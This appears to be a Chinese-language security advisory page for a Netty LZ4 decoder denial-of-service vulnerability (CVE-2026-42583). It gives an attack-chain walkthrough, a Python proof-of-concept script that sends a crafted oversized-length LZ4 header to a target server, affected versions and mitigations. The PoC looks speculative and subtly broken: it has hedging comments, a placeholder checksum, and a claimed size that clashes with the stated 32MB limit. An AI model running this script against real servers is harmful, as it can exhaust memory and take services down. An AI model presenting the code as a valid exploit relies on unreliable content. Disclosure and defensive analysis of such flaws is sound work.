IPBUF安全漏洞报告
English
CVE-2026-42583 CVSS 7.5 高危

CVE-2026-42583 Netty LZ4拒绝服务漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-42583
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Netty

相关标签

拒绝服务DoSNetty资源耗尽LZ4CVE-2026-42583

漏洞概述

Netty是一个异步事件驱动的网络应用框架。在特定版本之前,Lz4FrameDecoder组件存在安全漏洞。该组件在执行LZ4解压缩之前,会根据解压缩后的长度分配字节缓冲区。攻击者仅需发送极小的数据包即可强制服务器分配巨大内存(最高32MB),这种低成本的攻击可能导致资源耗尽,引发拒绝服务。

技术细节

该漏洞源于Netty的Lz4FrameDecoder在处理LZ4数据流时,未对解压长度进行严格校验。当解码器读取到数据包头部的decompressedLength字段时,会直接调用ByteBuf分配内存,而未验证该值是否合法。攻击者可构造恶意数据包,头部声明极大的解压长度,但实际载荷极小。当Netty服务器处理此类数据包时,会瞬间尝试分配大量内存。若持续攻击,将导致服务器内存耗尽,引发OutOfMemoryError,从而造成服务不可用。攻击无需认证且利用成本低。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描网络,识别出使用Netty框架且开启了LZ4编解码器的目标服务。
STEP 2
2. 恶意构造
攻击者构造特制的LZ4数据包,其中包含一个极小的压缩载荷,但在头部字段中声明解压后长度为最大值(约32MB)。
STEP 3
3. 发起攻击
攻击者通过网络向目标服务器发送该恶意数据包。由于无需认证,攻击者可批量发送。
STEP 4
4. 资源耗尽
Netty服务器的Lz4FrameDecoder解析头部后,立即尝试分配32MB内存。高频攻击导致服务器内存迅速耗尽,服务崩溃或无响应。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import struct # Target host and port HOST = 'target_ip' PORT = target_port # LZ4 Magic Number magic = 0x184D2204 # Construct a malicious header # FLG byte (version independent, block independence, block checksum flag) flg = 0x40 # BD byte (block size max 64KB? No, we want max allocation) # Vulnerability allows up to 32MB allocation based on header bd = 0x70 # Header checksum calculation (simplified for PoC, might need actual calc depending on strictness) # For this vulnerability, we mainly care about the Content Size or Block Size fields # However, the description mentions forcing allocation based on a specific header structure. # Let's construct a frame that claims a huge decompressed size. # In LZ4 frames, Content Size is optional (FLG.Bits 0-2). # If present, it's 8 bytes. # Netty's Lz4FrameDecoder might read the block size or content size to allocate buffer. # Let's try to send a frame with a massive Content Size content_size = 0xFFFFFFFF # Max size header = struct.pack('>I', magic) header += struct.pack('B', flg | 0x08) # Set Content Size bit header += struct.pack('B', bd) header += struct.pack('>Q', content_size) # Fake huge size header += struct.pack('B', 0x00) # Header checksum (placeholder) # Send payload sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((HOST, PORT)) sock.send(header) # Send a tiny compressed block to trigger the allocation logic if needed sock.send(b'\x00') sock.close() print("Malicious packet sent to trigger allocation.")

影响范围

Netty < 4.1.133.Final
Netty < 4.2.13.Final

防御指南

临时缓解措施
在修复补丁应用之前,建议在网络边界设备上配置速率限制规则,监测并阻断异常的小包大请求流量。如果业务允许,可临时禁用Netty的Lz4FrameDecoder功能,改用其他解压方式或限制单次请求的最大解压大小。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表